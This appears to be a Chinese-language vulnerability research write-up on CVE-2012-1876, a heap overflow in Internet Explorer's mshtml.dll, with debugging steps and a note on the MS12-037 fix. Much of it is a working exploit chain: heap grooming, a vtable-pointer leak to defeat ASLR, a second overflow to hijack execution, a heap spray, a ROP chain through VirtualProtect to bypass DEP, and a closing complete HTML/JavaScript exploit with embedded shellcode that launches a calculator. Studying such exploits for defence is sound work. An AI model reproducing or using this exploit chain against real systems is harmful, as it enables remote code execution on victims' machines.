cve-2012-1876
CVE-2012-1876
简介
- 这是一个IE浏览器的漏洞,成功利用可实现远程代码执行,在Pwn2own 2012上VUPEN团队就用其攻陷了IE9。错误出在mshtml.dll这个模块的CTableLayout::CalculateMinMax函数里,程序在执行时会以HTML代码中\元素的span属性作为循环控制次数向堆空间写入数据,如果此span值设置的不当,那么就会引发堆溢出问题。其中mshtml.dll模块是IE中的重要组件,它用来解析页面中的HTML和CSS,我们后续的分析也主要集中在此模块中。如下列出了IE中的主要组件,可参考微软的说明。
![]()
分析环境
| 使用的环境 | 版本号 | |
|---|---|---|
| 操作系统 | Windows7 | 旗舰版32位 |
| 虚拟机工具 | VMware | 12.1.1 |
| 浏览器 | Internet Explorer8 | 8.0.7600.16385 |
| 调试器 | WinDbg | 6.1 |
| 反汇编器 | IDA Pro | 6.8 |
基于HPA的漏洞分析方法
- 本次分析所用的Poc代码如下,主要用于触发崩溃,以方便调试:
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" >  </col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>
- 调试前先用gflags.exe对IE进程开启hpa选项,以支持WinDbg对其调试。接着,用WinDbg附加IE进程后运行,然后打开上面的html文件,并且允许运行活动内容。

gflags.exe开启页堆
- 使用Windbg附加IE进程(CTRL+E),然后输入!gflag。这就是没有开启页堆。
![]()
- 右键WinDbg打开文件位置,就能找到gflags.exe
![]()
- 按下shift健同事鼠标右键空白处,在此处打开命令窗口。
![]()
- 输入命令gflags /i iexplore.exe +hpa
![]()
- 再次使用Windbg附加IE进程,使用!gflag命令。发现已开启页堆。
![]()
WinDbg调试Poc
- 然后按下g命令继续执行,打开poc.html文件,允许运行,会发现IE崩溃了,但是WinDbg并没有断下来。
![]()
- 导致这种情况的主要原因是IE又衍生出了子进程,而WinDbg默认情况是不支持子进程调试的,可以使用以下命令开启子进程调试
.childdbg 1
- 附加IE浏览器后,输入.childdbg 1 ,开启子进程调试后,断下。
![]()
- 使用kb命令查看调用堆栈,可以发现edi来源于esi,而这个值是从上层带过来的,因为我们在mshtml!CTableColCalc::AdjustForCol找不到对esi的处理
![]()
- 使用uf命令查看mshtml!CTableColCalc::AdjustForCol
uf mshtml!CTableColCalc::AdjustForCol
- 通过前面的栈回溯可知,mshtml!CTableColCalc::AdjustForCol的上层函数为mshtml!CTableLayout::CalculateMinMax。我们可以再此函数下断点。下断点时必须确保WinDbg已加载欲调试的子进程,然后等mshtml加载后在下断。
- 可以使用sxe ld:mshtml命令让子进程在加载mshtml模块时断下,然后通过bp mshtml!CTableLayout::CalculateMinMax进行下断
![]()
- 再次断下的时候,使用lmm mshtml命令,查看是否加载mshtml.dll。
![]()
- 加载后,使用bp命令下断点,bl命令查看断点。
![]()
- 断点下好,使用g命令。断点处果然断下。
![]()
- 使用快捷键Ait+7调出汇编窗口。
![]()
- 使用f8按键,执行到如下图所示:
![]()
- 使用dd poi(ebp+8)
![]()
- 使用ln命令
ln 07159868
-
这个地址时会变动的,调试的时候确认。
![]()
-
可见参数1引用的是CTableLayout对象,也就是
标签在内存中的对象 -
继续f8,执行到如下图所示的位置:
-
![]()
-
使用dd命令查看内存
![]()
-
这里ebx+54指向的是table标签中col元素的span属性值,在poc中只有一个span的值1,故此处为1.
-
继续跟进CImplAry::EnsureSizeWorker函数,发现该函数主要用于分配内存。分配内存的大小为span*1,虽然span为1,但最小分配的值为0x1c 乘以 4=0x70。分配内存的地址保存在CtableLayout+0x90:
-
![]()
-
动态调试执行,查看空间
![]()
-
使用!heap命令查看堆
![]()
-
在下图所示断下:
![]()
-
然后查看内存:
![]()
-
由上可知,span仍为1,并无变化。但是在over_trigger中,我们已经将span设置为1000了,这也是允许的最大值。
-
我们在mshtml!CTableCol::GetAAspan下断点,让他第二次获得span值时断下。
![]()
![]()
-
使用gu命令,是执行完CTableCol::GetAAspan函数返回后断下,获取的返回值保存在eax中,此时获取的span的值为0x3e8,即是1000.
![]()
![]()
- 复制的内容相当于width100后得到的数字。(这个数字在不同版本等因素会有略微差异)。不在分析里面的详细算法,在CTableColCalc_AdJustFormat函数中会以10000x1c为计数器循环递增偏移向vulheap堆块中写入数据,最终造成堆溢出。
![]()
- 上图是对CTableColCalc_AdJustFormat函数反汇编部分代码
- 从上面代码,可知这里分配了0x70大小的内存空间在CtableLayout+0x9c指向的地址
- CTableLayout::CalculateMinMax的第一个参数为CtableLayout对象,即table标签在内存中的对象。
- CtableLayout+0x54:span属性值
- CtableLayout+0x90:保存导致漏洞的vulheap,至少分配了0x70大小的内存
- CtableLayout+0x94:用于与span想比较的spancmp,当spancmp<<2后小于span才分配漏洞利用堆块
- 当页面加载时,CTableLayout::CalculateMinMax被首次调用,< col>的span属性值被初始化为1,此时spansum=1,spancmp=0.
- 由于(spansum<<2)<spansum,因此会调用CImplAry::EnsureSizeWorker函数分配大小为0x1cspansum的内存,但至少分配0x1c4=0x70大小的内存块。
- 分配内存后spancmp=spansum*4=4,此时(spansum<<2)==spansum,因此不再分配内存
- 调用over_trigger,CTableLayout::CalculateMinMax第二次调用,但是spansum和spancmp未变,而span的值被改为1000,在复制内容为width100的数据到分配缓冲区时,会以span作为循环计数器写vulheap堆块,但是10000x1c>0x70最终导致堆溢出
- 要利用堆溢出漏洞,需要先确定溢出时用于覆盖的内容what和位置where。国外著名安全组织vupen通过构造一连串col元素来控制覆盖数据的长度以覆盖到指定位置,即虚表指针;而前面已经分析过,这里覆盖的内容正是col元素中width值。为了绕过DEP与ASLR的保护VUPEN通过溢出漏洞覆盖 BSTR 字符串长度值,然后通过javaScript读取CButtonLayout 虚表指针,通过固定偏移找到mshtml.dll的基址,用来构造 rop 指令,以此绕过DEP与ASLR
- 为了绕过ASLR,首先构造堆布局以便将mshtml.dll基址泄露出来。
- 下面代码就是用于构造堆布局的
使用IDA反汇编mshtml.dll,跟进CTableLayout::CalculateMinMax函数


继续使用IDA漏洞成因
分析小结
漏洞复现
第一次溢出
<html>
<body>
<div id="test"></div>
<table style="table-layout:fixed"><col id="132" width="41" span="9"> </col></table>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<script language='javascript'>
var leak_index=-1;
var dap= "EEEE";
while ( dap.length < 480 ) dap += dap;
var padding= "AAAA";
while ( padding.length < 480) padding += padding;
var filler = "BBBB";
while ( filler.length < 480) filler += filler;
var arr=new Array();
var rra=new Array();
var div_container=document.getElementById("test");
div_container.style.cssText="display:none";
for(var i=0;i<500;i+=2){
rra[i]=dap.substring(0,(0x100-6)/2);
arr[i]=padding.substring(0,(0x100-6)/2);
arr[i+1]=filler.substring(0,(0x100-6)/2);
var obj=document.createElement("button");
div_container.appendChild(obj);
}
for(var i=200;i<500;i+=2){
rra[i]=null;
CollectGarbage();
}
</script>
</body>
</html>
-
上面的javaScript代码首先创建了0x100大小的字符串"EEEE......",接着是同等大小的"AAAA......"和"BBBB......",最后又创建了一个Button元素,即CbuttonLayout对象结构。上面的字符串在IE浏览器中都是BSTR字符串,即”Basic String”的简称,他是包含长度前缀和NULL终止符的Unicode字符串,所以字符数是字节数的一半,这也是前面代码分配字符串时除以2的原因。接着,再从rra数组中间位置开始间隔释放内存,腾出空间供后面0x100大小的对象能够被占用到。最后,构造出来的堆布局如下图所示。
![]()
-
关闭hpa,我们在最开始的地方开启了hpa,这里需要关闭。
![]()
-
释放的位置就是为了在分配vulheap时能够占用到这些释放位置中的一个,当溢出时就可以覆盖到后面的"AAAA......"和"BBBB......"。接下来创建一连串的col元素,占用以前释放"EEEE......"的位置。
<table style="table-layout:fixed"><col id="0" width="41" span="9"> </col></table>
<table style="table-layout:fixed"><col id="1" width="41" span="9"> </col></table>
<table style="table-layout:fixed"><col id="2" width="41" span="9"> </col></table>
......
<table style="table-layout:fixed"><col id="132" width="41" span="9"> </col></table>
-
为了确保所分配的vuheap是否用到已释放的"EEEE......",我们在释放内存的函数CollectGarbage上下断,他对应的是jscript.dll中的JsCollectGarbage。javaScript这些函数大都在jscript都能找到对应的api名称,可以通过IDA查看jscript.dll中的导出函数来查找,比如GoolectGarbage对应的就是jscript!JsCollectGarbage,substring对应的就是jscript!JsStrSubString,如下图所示
.![]()
-
先通过WinDbg加载IE进程,并执行.childdbg开启子进程调试。因为刚开始IE还没有加载jscript.dll,所以可以先加载jscript.dll时断下。
sxe ld:jscript
- 断下后再对JsCollectGarbage函数下断
bp jscript!JsCollectGarbage
- 因为释放堆块都会用到底层函数ntdll!RtlFreeHeap,所以他的第三个参数为被释放的堆块地址,可以对其下断点。然后记录并输出每个释放堆块地址。下断前可以先把jsCollectGarbage断点禁掉,避免程序被多次中断。
![]()
bu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
前面的漏洞分析,我们知道分配vulheap堆块的行为是CTableLayout::CalculateMinMax 中调用CImplAry::EnsureSizeWork函数的下一条指令位于mshtml!CTableLayout::CalculatrMinMax+0x16d可以得到vulheap地址。
*
bu mshtml!ctablelayout::calculateminmax+0x16d ".echo vulheap;dd poi(ebx+9c) l4;g"
- 因为输出的日志比较多,可以将日志保存在文档中。
.logopen D:\log.txt
- 记录完毕可使用.lohclose关闭
.logclose
- 然后输出日志的关键部门如下

- 由于log输出的vulheap地址较多,可以再下列代码用于溢出前加alert("溢出前")的语句弹窗后,WinDbg输出最后一个vulheap即为用于溢出的堆块。
- 可以看到前面释放的堆块被后面分配的vulheap占用了,接着通过以下代码实现第一个溢出。
< html>
< body>
< div id="test">< /div>
< table style="table-layout:fixed">< col id="132" width="41" span="9"> < /col></table>
< meta http-equiv="content-type" content="text/html; charset=UTF-8">
< script language='javascript'>
var leak_index=-1;
var dap= "EEEE";
while ( dap.length < 480 ) dap += dap;
var padding= "AAAA";
while ( padding.length < 480) padding += padding;
var filler = "BBBB";
while ( filler.length < 480) filler += filler;
var arr=new Array();
var rra=new Array();
var div_container=document.getElementById("test");
div_container.style.cssText="display:none";
for(var i=0;i<500;i+=2){
rra[i]=dap.substring(0,(0x100-6)/2);
arr[i]=padding.substring(0,(0x100-6)/2);
arr[i+1]=filler.substring(0,(0x100-6)/2);
var obj=document.createElement("button");
div_container.appendChild(obj);
}
for(var i=200;i<500;i+=2){
rra[i]=null;
CollectGarbage();
}
var leak_col = document.getElementById("132");
leak_col.width = "41";
leak_col.span = "19";
// alert("溢出前");
</script>
</body>
</html>
-
根据前面的漏洞分析,可以知道复制的数据大小为span1c=190x1c=0x214,可以判断出来溢出的数据会覆盖到"BBBB......",在去掉vulheap和"AAAA......"所包含的0x10字节头信息,最后会覆盖带"BBBB......"前面0x214-0x200-0x10=4字节。
![]()
![]()
-
运行查看堆空间,如下图所示。
![]()
-
第一次溢出后再次查看堆空间。
![]()
-
观察内存,发现确实完成覆盖。
获取基址
- 覆盖BSRC头部的长度值后,再通过javascript读取该字符串,此时就包括CButtonLayout虚表指针。
- 只需要在上面使用的html文件中加入,如下几行就可以使用:
function over_trigger(){
var leak_addr=-1;
for(var i=0;i<500;i++){
if(arr[i].length>(0x100-6)/2){
leak_index=i;
var leak=arr[i].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2);
leak_addr=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16),16);
alert("CButtonLayout虚表指针:0x"+leak_addr.toString(16));
var mshtmlbase=leak_addr-0x00173af8;
alert("mshtml机制:0x"+mshtmlbase.toString(16));
break;
}
}
}
setTimeout(function(){over_trigger()}, 450);
- 可以查看一下虚表偏移,在windbg里面。
x mshtml!CButtonLayout::*

- 找到虚表地址,我们去刚才的内存中去看一下。
![]()
- 通过以上代码遍历arr数组,找到BSRC字符串长度大于(0x100-6)/2的BSRC字符串,找到后根据固定偏移(0x100-6)/2+(2+8)/2的长度找到CButtonLayout虚表指针的位置,其中0x100-6是指去掉BSTR的四字节长度值和两字节终结符,(2+8)是指2字节终结符和八字节堆指针,因为Unicode字符串都已除以2作为长度计算。
- 溢出前的0x000000fa正是BSTR字符串的长度,其中一些原本"EEEE......"或者"AAAA......"被替换掉。不同系统环境覆盖情况有可能会不同。
- CButtonLayout虚表指针和mshtml基址偏移量是固定的,在不同系统版本该偏移量是不同的,需要在调试时确认。



- 得到mshtml的基址0x685f0000和在WinDbg中看的是一样。
二次溢出
为了控制程序的执行流程,我们还需要第二次溢出。覆盖掉前面的CButtonLayout虚表指针。第一次溢出得到了mshtml的基址,进行第二次溢出覆盖虚表指针。

- 在poc.html 中在加入如下图代码,即可完成第二次溢出。
function trigger_overflow() {
var evil_col = document.getElementById("132");
evil_col.width = "1178993";
evil_col.span = "44";
}
- 溢出后会覆盖到前面的CButtonLayout 虚表指针,可以再虚表指针地址下写入断点。
ba w4 0x350c108
- 断下后查看虚表指针所在的位置。
![]()

- 断下后,可以发现虚表指针已经被覆盖为0x07070024
- 最后会调用该虚表指针控制程序的执行流程。
Heap Spary
-
上面我们使用两次溢出,改变了程序的执行流程。现在开始构造需要的堆空间。在上面我们把虚表指针改为了0x7070024程序最终会执行到那个地址,但是那个地址目前还没有值。这就要用到heap spary。
-
Heap Spray是一种通过比较巧妙的方式控制堆上数据,继而把程序控制流导向ShellCode的古老艺术。在shellcode的前面加上大量的slidecode(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。
-
直接跑上面的代码,程序会中断在,如下图 所示
![]()
-
查看eax发现,就是我们改变的虚表指针的值。
-
在我们的代码文件中添加如下代码。
var paddingg=unescape("%u9090%u9090%u9090%u9090");
while (paddingg.length < 1000)
paddingg=paddingg+paddingg;
var paddinggs=paddingg.substr(0,1000-shellcode.length);
shellcode+=paddinggs;
while (shellcode.length < 100000)
shellcode = shellcode + shellcode;
var onemeg = shellcode.substr(0, 64*1024/2);
for (i=0; i<14; i++) {
onemeg += shellcode.substr(0, 64*1024/2);
}
onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
var spray = new Array();
for (i=0; i<100; i++) {
spray[i] = onemeg.substr(0, onemeg.length);
- 然后WinDbg 附加执行,发现断在如下图所示。

- 我们在看上边我们申请的堆空间就是9090,已经成功劫持eip。现在需要的就是把需要的shellcode字符串也放入进去一起申请对空间就可以执行shellcode了。
绕过DEP
-
现在还有最后的DEP(数据执行保护)。
-
申请的堆空间是没有执行权限的,可以通过WinDbg使用!address命令查看一下
![]()
-
DEP的主要作用是阻止数据页,(默认的堆页、内存池页)执行代码。
-
可以手动在自己电脑上关闭NX,DEP就被关闭了。
-
DEP是通过PTE的高双字的最高bit即bit63来实现的,这个位置位了,表示此页不可执行。没有置位,表示此页可以执行。
-
平常使用的是虚拟内存,cpu通过页目录表: 也称为PDE,页表也被称之为PTE.找相应的物理地址。PTE表中就记录了页的属性。如下图所示
![]()
-
这里我们使用VirtualProtect 函数,是Kernel32.dll 里面导出的,是用来改变内存属性的 API 。
-
一开始执行代码的是eax+8。Win32程序通过esp来控制栈。需要用xchg eax,esp ret这条指令进行换栈。可以使用OD来查找这些指令。直接双击poc.html文件使用OD附加程序
![]()
-
按下Ait+E找到mshtml
![]()
-
双击进入,然后按下Ctrl+s如下图 所示。
![]()
-
我们将其基址+偏移,根据上面获得的mshtml的基址,就可以绕过ASLR,eax中是我们改变的0x7070024,ret,这时候堆就已经是我们的栈了,构造ROP链条绕过DEP。
-
直接在VirtualProtect这里下断点,断下后查看栈布局。平常不知道怎么构造的时候也可以先写一些demo查看
![]()
-
可以看到我们执行到了VirtualProtect。栈布局这样布置在我们的堆中就可以改变堆的属性。
-
一直跟进可以看到shellcode的执行,如下图 所示。
![]()
-
执行完毕弹出计算器,如下图 所示。
![]()
漏洞修复
通过微软官方下载的MS12-037补丁,安装后我们使用WinDbg调试,很容易发现微软的修补方式。当span被改变时,程序重新分配相应大小的堆块,而不是跟以前一样公用一个堆块。通过前面的分析,已知道分配堆块的函数位于CImplAry::EnsureSizeWorker对他下断,观察span更改后的堆块分配情况,很容易发现他的修补方法。
首次调用时,在poc.html中span的值为1,即下面eax的值如下图 所示。

-
下面是分配的堆块
![]()
-
通过javascript更改span后,程序重新分配相应大小的堆块。
![]()
-
微软通过改变span的值得时候,程序重新分配相应大小的堆块,而不是跟以前一样公用一个堆块。以解决堆溢出问题。
总结
- cve-2012-1876虽然是一个老洞,但还是有不少学习价值的。
- 现给出完整的shellcode:
<html>
<body>
<div id="test"></div>
<table style="table-layout:fixed"><col id="132" width="41" span="9"> </col></table>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<script language='javascript'>
////////////////////////////////
//进行ROP链中Gadget地址和参数的布局,并与填充数据以及shellcode拼接完成堆喷数据的初始化
//最后执行堆喷将这些数据布局到内存中
function heapspray(cbuttonlayout) {
//alert("cbuttonlayout:0x"+cbuttonlayout.toString(16));
CollectGarbage();
alert("cbuttonlayout:0x"+cbuttonlayout.toString(16));
var rop_q=cbuttonlayout+Number(0x0000170d);//ret
rop_q=rop_q.toString(16);
var rop_q_1=rop_q.substring(4,8);
var rop_q_2=rop_q.substring(0,4);
var shellcode=unescape("%u"+rop_q_1+"%u"+rop_q_2);//ret
var rop_w=cbuttonlayout+Number(0x00002d8d);//pop ecx ret
rop_w=rop_w.toString(16);
var rop_w_1=rop_w.substring(4,8);
var rop_w_2=rop_w.substring(0,4);
shellcode+=unescape("%u"+rop_w_1+"%u"+rop_w_2);//pop ecx ret
var rop=cbuttonlayout+Number(0x000117ef);
rop=rop.toString(16);
var rop1=rop.substring(4,8);
var rop2=rop.substring(0,4);
shellcode+=unescape("%u"+rop1+"%u"+rop2) ;//jiao huan eax esp
var rop_e=Number(0x74f7e4f6);//kernel32!VirtualProtect
rop_e=rop_e.toString(16);
var rop_e_1=rop_e.substring(4,8);
var rop_e_2=rop_e.substring(0,4);
shellcode+=unescape("%u"+rop_e_1+"%u"+rop_e_2) ;//push esp ret
/////////////////////////////////////
//返回到shellcode开始的地方
shellcode+= unescape("%u0050%u0707");
shellcode+= unescape("%u0020%u0707");
shellcode+= unescape("%u2345%u0001");
shellcode+= unescape("%u0040%u0000");
shellcode+= unescape("%u0024%u0707");
shellcode+= unescape("%u9191%u9191%u9090%u9090%u9090");
shellcode+= unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" +
"%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" +
"%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" +
"%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" +
"%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" +
"%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" +
"%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" +
"%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" +
"%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" +
"%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" +
"%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" +
"%u6c61%u2e63%u7865%u0065");
var paddingg=unescape("%u9090%u9090%u9090%u9090");
while (paddingg.length < 1000)
paddingg=paddingg+paddingg;
var paddinggs=paddingg.substr(0,1000-shellcode.length);
shellcode+=paddinggs;
while (shellcode.length < 100000)
shellcode = shellcode + shellcode;
var onemeg = shellcode.substr(0, 64*1024/2);
for (i=0; i<14; i++) {
onemeg += shellcode.substr(0, 64*1024/2);
}
onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
var spray = new Array();
for (i=0; i<100; i++) {
spray[i] = onemeg.substr(0, onemeg.length);
}
}
var leak_index=-1;
var dap= "EEEE";
while ( dap.length < 480 ) dap += dap;
var padding= "AAAA";
while ( padding.length < 480) padding += padding;
var filler = "BBBB";
while ( filler.length < 480) filler += filler;
var arr=new Array();
var rra=new Array();
var div_container=document.getElementById("test");
div_container.style.cssText="display:none";
for(var i=0;i<500;i+=2){
rra[i]=dap.substring(0,(0x100-6)/2);
arr[i]=padding.substring(0,(0x100-6)/2);
arr[i+1]=filler.substring(0,(0x100-6)/2);
var obj=document.createElement("button");
div_container.appendChild(obj);
}
for(var i=200;i<500;i+=2){
rra[i]=null;
CollectGarbage();
}
var leak_col = document.getElementById("132");
leak_col.width = "41";
leak_col.span = "19";
// alert("溢出前");
function over_trigger(){
var leak_addr=-1;
for(var i=0;i<500;i++){
if(arr[i].length>(0x100-6)/2){
leak_index=i;
var leak=arr[i].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2);
leak_addr=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16),16);
alert("CButtonLayout虚表指针:0x"+leak_addr.toString(16));
var mshtmlbase=leak_addr-0x00173af8;
alert("mshtml机制:0x"+mshtmlbase.toString(16));
//break;
//把地址传递过去
setTimeout(function(){heapspray(mshtmlbase)}, 50);
}
}
}
//触发第二次堆溢出用以覆盖虚表指针,使程序转到rop处执行
function trigger_overflow() {
var evil_col = document.getElementById("132");
evil_col.width = "1178993";
evil_col.span = "44";
}
setTimeout(function(){over_trigger()}, 450);
setTimeout(function(){trigger_overflow()}, 1000);
</script>
</body>
</html>



















































浙公网安备 33010602011771号